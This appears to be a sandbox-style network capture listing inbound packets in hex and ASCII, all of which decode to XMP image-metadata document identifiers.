2022-07-20 07:08:24 UTC	5096	IN	Data Raw: 78 6d 70 2e 64 69 64 3a 32 36 33 39 32 44 37 34 36 31 33 32 31 31 45 31 42 45 37 44 42 44 31 42 41 45 42 44 41 44 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 33 44 36 33 35 39 35 41 46 32 44 46 31 31 39 39 33 33 43 31 36 33 34 44 38 39 43 38 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 34 30 31 42 32 31 37 44 32 38 36 38 31 31 38 43 31 34 41 46 39 44 32 37 33 35 41 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 34 41 38 39 43 37 35 39 32 33 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 36 36 31 36 64 38 39 2d 35 38 31 35 2d 34 Data Ascii: xmp.did:26392D74613211E1BE7DBD1BAEBDADF9</rdf:li> <rdf:li>xmp.did:263D63595AF2DF119933C1634D89C8A8</rdf:li> <rdf:li>xmp.did:26401B217D2868118C14AF9D2735A483</rdf:li> <rdf:li>xmp.did:264A89C759236811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:26616d89-5815-4
2022-07-20 07:08:24 UTC	5104	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 32 35 44 38 36 36 32 30 36 36 31 31 45 30 39 39 31 41 41 44 44 32 32 33 43 33 31 30 38 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 33 33 30 36 38 43 39 38 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 34 42 30 42 34 36 32 45 37 45 45 31 31 31 38 39 30 42 38 34 43 42 44 43 33 33 37 39 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 35 31 43 32 42 42 34 31 32 30 36 38 31 31 39 34 42 31 46 43 38 36 30 43 39 42 36 36 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 46 35 Data Ascii: li> <rdf:li>xmp.did:2F25D866206611E0991AADD223C31085</rdf:li> <rdf:li>xmp.did:2F33068C982068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:2F4B0B462E7EE111890B84CBDC337927</rdf:li> <rdf:li>xmp.did:2F51C2BB4120681194B1FC860C9B662E</rdf:li> <rdf:li>xmp.did:2F5
2022-07-20 07:08:25 UTC	6080	IN	Data Raw: 36 38 31 31 38 43 31 34 45 43 36 39 39 31 34 43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 33 37 43 36 45 41 43 32 30 36 38 31 31 41 42 30 38 45 36 42 36 30 42 43 41 34 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 33 42 42 46 43 38 44 33 44 45 30 31 31 41 32 39 34 44 33 42 42 33 43 31 42 42 31 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 34 37 33 44 31 31 46 39 32 34 36 38 31 31 39 39 34 43 41 30 45 36 41 42 31 43 31 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 43 37 32 35 41 32 30 44 42 31 45 31 31 45 30 39 33 36 44 43 38 32 38 45 41 38 37 45 42 45 33 3c 2f 72 Data Ascii: 68118C14EC69914C8563</rdf:li> <rdf:li>xmp.did:3C437C6EAC206811AB08E6B60BCA4EAA</rdf:li> <rdf:li>xmp.did:3C43BBFC8D3DE011A294D3BB3C1BB118</rdf:li> <rdf:li>xmp.did:3C473D11F9246811994CA0E6AB1C1578</rdf:li> <rdf:li>xmp.did:3C725A20DB1E11E0936DC828EA87EBE3</r
2022-07-20 07:08:25 UTC	6096	IN	Data Raw: 35 36 39 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 35 38 44 31 36 30 32 36 32 30 36 38 31 31 38 30 38 33 41 34 42 35 42 38 30 44 44 42 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 37 44 41 32 39 30 31 30 35 44 31 31 45 30 38 39 30 43 44 38 38 39 43 30 39 45 45 44 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 38 44 30 31 43 38 35 30 43 36 45 33 31 31 41 43 30 34 42 30 36 30 45 30 35 42 39 36 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 41 38 46 37 42 36 46 30 38 32 30 36 38 31 31 42 34 42 43 43 32 41 38 45 42 43 37 38 31 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: 56907</rdf:li> <rdf:li>xmp.did:4A58D160262068118083A4B5B80DDB63</rdf:li> <rdf:li>xmp.did:4A7DA290105D11E0890CD889C09EED57</rdf:li> <rdf:li>xmp.did:4A8D01C850C6E311AC04B060E05B9624</rdf:li> <rdf:li>xmp.did:4A8F7B6F08206811B4BCC2A8EBC78135</rdf:li> <rdf:li>
2022-07-20 07:08:25 UTC	6104	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 63 61 38 64 65 62 2d 38 62 62 65 2d 65 64 34 63 2d 39 37 65 64 2d 30 65 63 31 33 63 63 66 65 64 36 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 64 30 35 61 35 37 2d 64 38 31 36 2d 34 30 63 34 2d 62 66 65 34 2d 61 33 39 32 30 37 33 64 36 32 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 65 32 33 39 31 37 2d 35 33 33 38 2d 34 64 31 61 2d 39 66 66 63 2d 31 33 38 63 37 61 39 37 30 33 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 66 63 33 33 63 38 2d 39 62 66 36 2d 34 35 66 31 2d 62 66 36 37 2d 63 35 61 63 62 39 35 38 65 33 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 Data Ascii: df:li> <rdf:li>xmp.did:51ca8deb-8bbe-ed4c-97ed-0ec13ccfed6a</rdf:li> <rdf:li>xmp.did:51d05a57-d816-40c4-bfe4-a392073d6235</rdf:li> <rdf:li>xmp.did:51e23917-5338-4d1a-9ffc-138c7a970343</rdf:li> <rdf:li>xmp.did:51fc33c8-9bf6-45f1-bf67-c5acb958e322</rdf:li>
2022-07-20 07:08:25 UTC	6120	IN	Data Raw: 3a 36 31 41 45 37 34 31 39 33 35 32 30 36 38 31 31 39 35 46 45 44 38 42 44 46 38 34 31 43 37 37 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 45 41 43 39 31 44 31 37 32 30 36 38 31 31 38 44 42 42 44 44 46 43 38 39 42 36 31 38 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 46 42 37 32 33 31 41 45 44 46 45 30 31 31 39 45 37 42 44 35 41 32 43 32 44 33 37 46 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 31 37 37 46 44 31 30 35 32 33 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 33 43 32 42 38 30 32 31 32 42 36 38 31 31 38 37 31 46 46 35 Data Ascii: :61AE74193520681195FED8BDF841C77D</rdf:li> <rdf:li>xmp.did:61EAC91D172068118DBBDDFC89B618BD</rdf:li> <rdf:li>xmp.did:61FB7231AEDFE0119E7BD5A2C2D37F2B</rdf:li> <rdf:li>xmp.did:62177FD105236811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:623C2B80212B6811871FF5
2022-07-20 07:08:25 UTC	6136	IN	Data Raw: 30 39 41 32 30 34 44 37 35 32 31 36 38 31 31 38 38 44 31 38 33 45 45 43 38 45 46 46 35 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 42 45 34 41 44 31 34 38 32 30 36 38 31 31 39 37 41 35 44 39 33 42 31 34 32 41 44 31 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 42 46 30 35 42 41 36 44 32 30 36 38 31 31 38 37 31 46 38 36 33 32 32 35 37 43 46 42 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 43 41 39 33 42 30 33 32 32 30 36 38 31 31 42 31 41 34 42 33 30 42 34 46 39 45 37 42 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 30 44 42 35 38 41 41 39 44 39 42 45 32 31 31 38 39 33 39 44 34 46 37 Data Ascii: 09A204D7521681188D183EEC8EFF5E5</rdf:li> <rdf:li>xmp.did:70BE4AD14820681197A5D93B142AD18E</rdf:li> <rdf:li>xmp.did:70BF05BA6D206811871F8632257CFBF9</rdf:li> <rdf:li>xmp.did:70CA93B032206811B1A4B30B4F9E7B39</rdf:li> <rdf:li>xmp.did:70DB58AA9D9BE2118939D4F7
2022-07-20 07:08:25 UTC	6144	IN	Data Raw: 69 64 3a 37 37 43 30 32 38 45 45 39 46 42 31 44 46 31 31 42 38 38 38 44 30 46 30 36 39 34 31 32 39 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 43 34 37 44 36 42 39 44 32 30 36 38 31 31 38 30 38 33 46 39 44 33 44 31 30 32 44 37 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 44 33 42 36 33 35 42 45 32 30 36 38 31 31 39 31 30 39 45 36 32 30 37 31 44 41 45 46 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 45 30 44 46 32 44 39 36 32 30 36 38 31 31 38 30 38 33 41 32 42 36 43 32 38 33 31 33 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 37 45 43 46 43 46 42 32 41 45 39 31 31 45 33 42 33 30 33 Data Ascii: id:77C028EE9FB1DF11B888D0F06941290A</rdf:li> <rdf:li>xmp.did:77C47D6B9D2068118083F9D3D102D7DD</rdf:li> <rdf:li>xmp.did:77D3B635BE2068119109E62071DAEFEC</rdf:li> <rdf:li>xmp.did:77E0DF2D962068118083A2B6C28313CA</rdf:li> <rdf:li>xmp.did:77ECFCFB2AE911E3B303
2022-07-20 07:08:25 UTC	6160	IN	Data Raw: 39 31 30 39 38 35 41 32 34 42 30 41 41 37 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 34 41 43 44 31 46 30 38 32 30 36 38 31 31 38 30 38 33 44 37 41 43 43 46 43 35 30 31 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 38 44 30 45 41 35 46 44 39 44 45 31 31 31 41 44 44 32 39 42 36 38 34 45 34 35 45 35 38 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 38 64 30 64 39 34 2d 33 63 65 63 2d 34 61 33 31 2d 38 66 32 37 2d 38 61 36 65 31 39 35 61 61 32 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 37 42 35 35 34 32 46 43 35 32 30 36 38 31 31 39 31 30 39 42 34 42 43 37 44 42 39 45 35 34 46 3c 2f 72 Data Ascii: 910985A24B0AA78C</rdf:li> <rdf:li>xmp.did:874ACD1F082068118083D7ACCFC50199</rdf:li> <rdf:li>xmp.did:878D0EA5FD9DE111ADD29B684E45E581</rdf:li> <rdf:li>xmp.did:878d0d94-3cec-4a31-8f27-8a6e195aa247</rdf:li> <rdf:li>xmp.did:87B5542FC52068119109B4BC7DB9E54F</r
2022-07-20 07:08:25 UTC	6176	IN	Data Raw: 34 31 34 61 2d 62 65 65 66 2d 38 30 31 31 31 37 65 62 30 61 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 63 30 66 31 37 32 2d 37 61 62 61 2d 34 38 33 62 2d 39 35 39 61 2d 35 37 37 33 39 39 64 38 34 34 37 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 63 61 62 36 63 32 2d 63 66 64 35 2d 36 64 34 30 2d 62 36 39 34 2d 30 30 63 31 65 37 39 62 31 34 37 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 34 66 61 32 39 38 66 2d 30 64 36 39 2d 34 34 63 30 2d 38 37 66 64 2d 36 38 31 32 35 64 62 32 32 64 66 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 35 30 36 39 30 33 64 2d 62 31 32 32 2d 65 64 34 61 2d 39 38 Data Ascii: 414a-beef-801117eb0af5</rdf:li> <rdf:li>xmp.did:94c0f172-7aba-483b-959a-577399d8447c</rdf:li> <rdf:li>xmp.did:94cab6c2-cfd5-6d40-b694-00c1e79b147b</rdf:li> <rdf:li>xmp.did:94fa298f-0d69-44c0-87fd-68125db22df4</rdf:li> <rdf:li>xmp.did:9506903d-b122-ed4a-98
2022-07-20 07:08:25 UTC	6184	IN	Data Raw: 64 69 64 3a 39 43 45 31 35 44 38 33 30 41 32 30 36 38 31 31 38 30 38 33 42 46 44 39 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 31 37 43 41 45 33 38 41 32 30 36 38 31 31 38 41 36 44 44 34 36 44 41 30 43 41 31 30 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 34 32 42 30 45 44 44 37 43 34 45 30 31 31 39 42 42 31 45 31 37 45 39 37 44 34 42 37 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 34 41 38 43 35 45 43 41 37 39 45 32 31 31 38 32 38 31 46 42 33 31 38 34 32 39 30 42 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 44 37 32 38 38 46 33 31 41 32 30 36 38 31 31 38 43 31 Data Ascii: did:9CE15D830A2068118083BFD9A9F81730</rdf:li> <rdf:li>xmp.did:9D17CAE38A2068118A6DD46DA0CA10CF</rdf:li> <rdf:li>xmp.did:9D42B0EDD7C4E0119BB1E17E97D4B75C</rdf:li> <rdf:li>xmp.did:9D4A8C5ECA79E2118281FB3184290BB9</rdf:li> <rdf:li>xmp.did:9D7288F31A2068118C1
2022-07-20 07:08:25 UTC	6200	IN	Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 32 45 34 46 42 32 42 32 42 32 30 36 38 31 31 38 30 38 33 45 46 43 32 32 32 36 38 46 32 33 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 33 30 33 46 36 36 42 30 43 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 39 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 33 35 38 43 30 46 33 32 32 35 33 45 33 31 31 41 39 36 36 42 31 31 42 41 43 39 35 38 41 45 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 33 36 30 33 46 38 33 39 42 35 45 31 31 45 30 42 43 36 41 43 33 46 38 46 35 42 34 46 46 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 33 39 42 35 34 45 46 33 Data Ascii: df:li>xmp.did:B2E4FB2B2B2068118083EFC22268F23E</rdf:li> <rdf:li>xmp.did:B303F66B0C2068118A6DC638F9FC95EE</rdf:li> <rdf:li>xmp.did:B358C0F32253E311A966B11BAC958AEC</rdf:li> <rdf:li>xmp.did:B3603F839B5E11E0BC6AC3F8F5B4FF5C</rdf:li> <rdf:li>xmp.did:B39B54EF3
2022-07-20 07:08:25 UTC	6216	IN	Data Raw: 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 33 31 30 38 31 36 37 33 31 32 31 31 44 46 42 31 30 32 38 32 37 41 36 32 38 37 41 44 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 34 34 42 46 33 37 32 44 32 30 36 38 31 31 38 32 32 41 44 38 39 42 32 38 35 43 36 33 31 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 34 37 34 42 42 38 44 39 41 45 45 30 31 31 38 32 36 30 39 41 35 38 42 31 33 35 31 32 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 43 42 38 45 44 36 41 42 34 34 32 44 31 31 45 30 38 38 32 30 41 37 42 46 42 45 39 31 44 36 41 32 3c 2f 72 64 66 Data Ascii: 118083E18EC590233A</rdf:li> <rdf:li>xmp.did:CB310816731211DFB102827A6287AD61</rdf:li> <rdf:li>xmp.did:CB44BF372D206811822AD89B285C6316</rdf:li> <rdf:li>xmp.did:CB474BB8D9AEE01182609A58B13512FC</rdf:li> <rdf:li>xmp.did:CB8ED6AB442D11E08820A7BFBE91D6A2</rdf
2022-07-20 07:08:25 UTC	6223	IN	Data Raw: 3a 44 34 39 32 41 31 32 37 42 37 39 38 45 30 31 31 42 35 31 36 41 34 46 41 37 37 32 45 35 38 34 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 39 46 39 46 31 44 33 30 32 30 36 38 31 31 39 39 34 43 42 41 37 45 46 34 46 30 44 41 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 42 45 33 32 38 30 43 31 35 46 45 31 31 31 39 32 32 37 41 44 30 46 37 38 36 35 31 33 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 44 39 43 37 35 39 35 41 32 30 36 38 31 31 39 32 42 30 42 46 30 39 37 46 37 43 35 37 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 34 45 42 35 34 31 30 41 31 33 45 45 30 31 31 41 44 42 36 46 33 Data Ascii: :D492A127B798E011B516A4FA772E5845</rdf:li> <rdf:li>xmp.did:D49F9F1D30206811994CBA7EF4F0DA82</rdf:li> <rdf:li>xmp.did:D4BE3280C15FE1119227AD0F78651355</rdf:li> <rdf:li>xmp.did:D4D9C7595A20681192B0BF097F7C5780</rdf:li> <rdf:li>xmp.did:D4EB5410A13EE011ADB6F3
2022-07-20 07:08:25 UTC	6239	IN	Data Raw: 32 33 32 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 36 30 31 34 32 31 35 44 46 33 45 30 31 31 39 45 30 45 38 45 36 37 30 38 32 31 31 37 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 38 34 36 45 30 31 32 30 31 46 31 31 36 38 42 45 44 43 43 41 43 44 36 44 33 38 37 44 38 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 38 39 44 30 37 39 38 36 32 30 36 38 31 31 38 32 33 46 44 31 34 44 45 32 43 38 43 38 37 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 42 39 36 44 32 36 30 33 46 33 34 45 33 31 31 41 41 33 32 43 33 33 44 41 31 44 35 45 31 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e Data Ascii: 23267</rdf:li> <rdf:li>xmp.did:EB6014215DF3E0119E0E8E6708211705</rdf:li> <rdf:li>xmp.did:EB846E01201F1168BEDCCACD6D387D8E</rdf:li> <rdf:li>xmp.did:EB89D07986206811823FD14DE2C8C875</rdf:li> <rdf:li>xmp.did:EB96D2603F34E311AA32C33DA1D5E1C4</rdf:li> <rdf:li>
2022-07-20 07:08:25 UTC	6255	IN	Data Raw: 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 39 34 35 37 38 38 46 30 39 39 46 32 34 45 44 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 37 36 34 43 36 38 43 46 38 41 31 41 41 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 37 46 31 31 37 34 30 37 32 30 36 38 31 31 42 42 30 30 45 36 35 39 32 32 45 34 36 42 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 39 33 31 35 37 46 31 36 32 30 36 38 31 31 39 37 41 35 46 31 39 39 37 36 30 34 35 45 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 38 42 31 32 30 30 45 43 38 32 30 36 38 31 31 38 46 36 32 Data Ascii: id:F87F117407206811945788F099F24EDC</rdf:li> <rdf:li>xmp.did:F87F117407206811A764C68CF8A1AA40</rdf:li> <rdf:li>xmp.did:F87F117407206811BB00E65922E46BA7</rdf:li> <rdf:li>xmp.did:F893157F1620681197A5F19976045E47</rdf:li> <rdf:li>xmp.did:F8B1200EC82068118F62
2022-07-20 07:08:25 UTC	6260	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 31 31 42 42 37 45 30 30 46 30 45 35 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 31 41 37 44 31 39 42 46 41 38 31 35 33 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 37 46 31 31 37 34 30 37 32 30 36 38 31 31 41 43 41 46 46 41 38 31 44 33 34 33 45 44 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 41 38 35 30 44 34 32 30 39 32 30 36 38 31 31 39 37 38 35 38 30 37 37 46 33 31 41 30 32 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 Data Ascii: f:li> <rdf:li>xmp.did:FA7F117407206811A11BB7E00F0E5F6B</rdf:li> <rdf:li>xmp.did:FA7F117407206811A1A7D19BFA8153BA</rdf:li> <rdf:li>xmp.did:FA7F117407206811ACAFFA81D343EDA5</rdf:li> <rdf:li>xmp.did:FA850D420920681197858077F31A0299</rdf:li> <rdf:li>xmp.did:F
2022-07-20 07:08:25 UTC	6276	IN	Data Raw: 32 66 38 30 31 38 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 37 62 37 36 38 61 33 2d 30 65 35 31 2d 34 34 31 37 2d 38 39 31 64 2d 63 35 33 61 37 64 35 32 32 31 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 37 62 38 39 38 63 65 2d 61 38 38 62 2d 34 64 30 63 2d 62 31 35 35 2d 33 39 64 61 34 64 62 37 37 61 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 37 62 66 62 30 35 35 2d 65 39 36 38 2d 34 38 39 33 2d 62 31 33 32 2d 32 35 65 39 39 34 30 32 66 65 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 62 37 64 33 33 30 32 66 2d 63 64 34 30 2d 34 32 65 37 2d 62 65 37 63 2d 35 37 36 30 35 61 30 31 39 37 36 Data Ascii: 2f801847</rdf:li> <rdf:li>xmp.did:b7b768a3-0e51-4417-891d-c53a7d522109</rdf:li> <rdf:li>xmp.did:b7b898ce-a88b-4d0c-b155-39da4db77afd</rdf:li> <rdf:li>xmp.did:b7bfb055-e968-4893-b132-25e99402fe1e</rdf:li> <rdf:li>xmp.did:b7d3302f-cd40-42e7-be7c-57605a01976
2022-07-20 07:08:25 UTC	6292	IN	Data Raw: 37 66 61 35 31 31 36 66 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 39 62 64 63 62 37 66 2d 37 37 39 31 2d 34 38 30 62 2d 62 36 32 33 2d 61 66 37 64 61 37 39 39 65 35 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 39 63 34 37 37 30 30 2d 38 62 62 31 2d 34 36 63 66 2d 61 64 35 37 2d 62 35 66 62 61 35 32 64 32 65 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 39 64 66 38 32 61 30 2d 38 32 39 38 2d 30 38 34 32 2d 61 38 39 31 2d 37 38 62 33 34 30 33 38 31 62 61 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 61 38 31 62 32 62 31 2d 66 62 66 61 2d 33 33 34 66 2d 62 34 38 31 2d 32 63 64 61 37 63 37 62 62 33 Data Ascii: 7fa5116f0</rdf:li> <rdf:li>xmp.did:e9bdcb7f-7791-480b-b623-af7da799e5ab</rdf:li> <rdf:li>xmp.did:e9c47700-8bb1-46cf-ad57-b5fba52d2e20</rdf:li> <rdf:li>xmp.did:e9df82a0-8298-0842-a891-78b340381bac</rdf:li> <rdf:li>xmp.did:ea81b2b1-fbfa-334f-b481-2cda7c7bb3
